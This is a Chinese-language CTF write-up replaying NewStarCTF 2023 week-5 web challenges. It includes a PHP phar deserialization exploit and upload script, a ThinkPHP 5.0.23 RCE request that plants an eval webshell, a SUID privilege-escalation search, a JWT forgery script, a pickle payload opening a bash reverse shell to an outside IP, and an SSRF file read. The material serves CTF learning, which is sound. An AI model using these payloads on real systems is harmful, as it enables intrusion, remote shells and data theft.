[NewStarCTF 2023 公开赛道]WEEK5–web方向复现记录

Unserialize Again

image-20251029133857003

源代码提示cookie

下一步就是去找cookie

image-20251029134243439

访问

其实看到这个名字第一瞬间想到的是这个点

image-20251029134404790

image-20251029134412303

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
 <?php
highlight_file(__FILE__);
error_reporting(0);
class story{
private $user='admin';
public $pass;
public $eating;
public $God='false';
public function __wakeup(){
$this->user='human';
if(1==1){
die();
}
if(1!=1){
echo $fffflag;
}
}
public function __construct(){
$this->user='AshenOne';
$this->eating='fire';
die();
}
public function __tostring(){
return $this->user.$this->pass;
}
public function __invoke(){
if($this->user=='admin'&&$this->pass=='admin'){
echo $nothing;
}
}
public function __destruct(){
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);
}
else{
die('Get Out!');
}
}
}
if(isset($_GET['pear'])&&isset($_GET['apple'])){
// $Eden=new story();
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);
}
else{
echo '多吃雪梨';
} 多吃雪梨

这里很明显是php的反序列化

但是又没有serialize、unserialize

所以自然想到另一个phar反序列化

https://xiubi1125.github.io/2025/09/22/php%E5%AD%A6%E4%B9%A0%E2%80%94%E2%80%94phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/

PHP(Phar) 反序列化漏洞及各种绕过姿势

目标是触发 __destruct() 中的 system($eating) 执行命令

需要对象满足:

  • $user = 'admin'(私有属性)
  • $God = 'true'
  • $eating = 要执行的命令(如 cat /flag

这里有个wakeup需要绕过 最简单粗暴的就是修改属性个数

比如这里story类其实是有四个属性的 我们序列化的时候把个数改了就行

只有当 $this->God 的值为 'true',并且 $this->user 的值为 'admin',才会执行 system($this->eating)

所以我们把god改成true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?
class story{
private $user='admin';
public $pass;
public $eating='cat /f*';
public $God='true';
}
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$o=new story();
//$o->output='eval($_GET["a"]);';

$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

修改之后改一下他的属性个数

image-20251030135019621

1
2
3
4
5
6
7
8
9
from hashlib import sha1

with open(r"D:\phpstudy_pro\WWW\test.phar",'rb') as f:
text = f.read()
s = text[:-28]
h = text[-8:]
newf = s + sha1(s).digest() + h
with open(r"D:\phpstudy_pro\WWW\test2.phar","wb") as f:
f.write(newf)

用这个脚本修复一下签名

然后post上传我们新生成的test2文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import urllib.parse
import os
import requests

url='http://651b9ffd-b2ac-4dd5-b7f3-f5d76baae693.node5.buuoj.cn:81/'
params={
'pear':'test2.phar'
'apple':'phar://test2.phar'
}

with open(r'D:\phpstudy_pro\WWW\test2.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f)
fin=requests.post(url=url+"pairing.php",data=ff,params=params)
print(fin.text)

我这里的最后测试没有成功

Final

image-20251102113445727

?……..

thinkphp

大概看了一下感觉比较简单

Thinkphp框架有s参数可以加载模块,随便加点什么?s=captch

image-20251102114822317

看到具体版本为5.0.23

这个漏洞的利用方式

post去传数据

1
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=5

filter里面的就是我们要执行的命令

phpinfo查看信息

找到根目录DOCUMENT_ROOT/var/www/public

这里system函数被禁用 我们选择exec来执行

1
_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo%20'<?php%20eval($_POST['cmd']);?>'%20>%20/var/www/public/shell.php

蚁剑连接shell.php

打开会发现根目录下我们没有权限

image-20251102150257975

进行提权

1
2
find / -user root -perm -4000 -print 2>/dev/null

查看具有SUID权限的命令

image-20251102151322555

Ye’s Pickle

这个就是一个jwt伪造和pickle反序列化

先来看附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)

def generate_random_string(length=16):
characters = string.ascii_letters + string.digits # 包含字母和数字
random_string = ''.join(random.choice(characters) for _ in range(length))
return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():
payload=request.args.get("token")
if payload:
token=verify_jwt(payload, key, ['PS256'])
session["role"]=token[1]['role']
return render_template('index.html')
else:
session["role"]="guest"
user={"username":"boogipop","role":"guest"}
jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
return render_template('index.html',token=jwt)

@app.route("/pickle")
def unser():
if session["role"]=="admin":
pickle.loads(base64.b64decode(request.args.get("pickle")))
return render_template("index.html")
else:
return render_template("index.html")
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)

下面这一段

1
2
3
4
def unser():
if session["role"]=="admin":
pickle.loads(base64.b64decode(request.args.get("pickle")))
return render_template("index.html")

很明显我们要伪造jwt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import base64
from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['role'] = 'admin'
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

originaltoken ='eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjI2NjUwMDYsImlhdCI6MTc2MjY2MTQwNiwianRpIjoiWmYtNjdKM0MwcFJ0M29MZ1ZuRGtnQSIsIm5iZiI6MTc2MjY2MTQwNiwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.ISLMne_B0getapcICw7DFPp66jCgfwvpEcSgxV8erFJpzaV9Z0icFGU0SgLpERgEbVI-x2Yx-xbaboKrphVks_bWi36y55d6mNON2ICzwcgfjLeggY4r9TBh44uss7DrXpK46kRZHyqqZdKY1CU7S7hQ2LsX7_otKXVo00HYAhrr9wmt4i4j7hHQPlYi9R0vufpSq23S6DDAHU-2y0g74PtzzvCYj1g5XyZE5bnMFDIn3jNOv8slyy4aHJKNrc04Hg6YlLcVLMwNwOmq9ZpCxSVcPII23f-gSpayyUBLqEKgJTocRa69I6YuPVKKy6S_gfyt71ripmwwvDxznTdRzw'
topic = topic(originaltoken)
print(topic)

guest用户伪造成admin

再利用pickle反序列化

我这里反弹shell弹不上(遗憾离场)

1
2
3
4
5
6
7
8
import base64
opcode=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/192.168.23.129/1234 0>&1'"
tR.
'''
print(base64.b64encode(opcode))

pppython?

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
?php

if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
header("Content-type: text/plain");
system("ls / -la");
exit();
}

try {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
$output = curl_exec($ch);
echo $output;
curl_close($ch);
}catch (Error $x){
highlight_file(__FILE__);
highlight_string($x->getMessage());
}

?> curl_setopt(): The CURLOPT_HTTPHEADER option must have an array value

首先来看

1
2
3
4
5
if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
header("Content-type: text/plain");
system("ls / -la");
exit();
}

这一段给了很明显的提示

hint为数组,对应键值为"your?", "mine!", "hint!!"

image-20251109195637253

1
?hint[0]=your?&hint[1]=mine!&hint[2]=hint!!

可以看到有flag 但是我们没有权限

还有一个app.py文件

我们先尝试读一下app.py

源码中有curl命令 想到ssrf

1
/?url=file:///app.py&lolita[]=

lolita是源码中定义的、用于接收 HTTP 头参数的请求参数名,必须以数组格式传递(通过lolita[]=...),目的是让CURLOPT_HTTPHEADER能正常接收参数,避免报错。此时构造请求?url=file:///app.py&lolita[]=,理论上可以通过 curl 的file协议读取/app.py的内容。

image-20251109200911241

NSSCTF秋季招新赛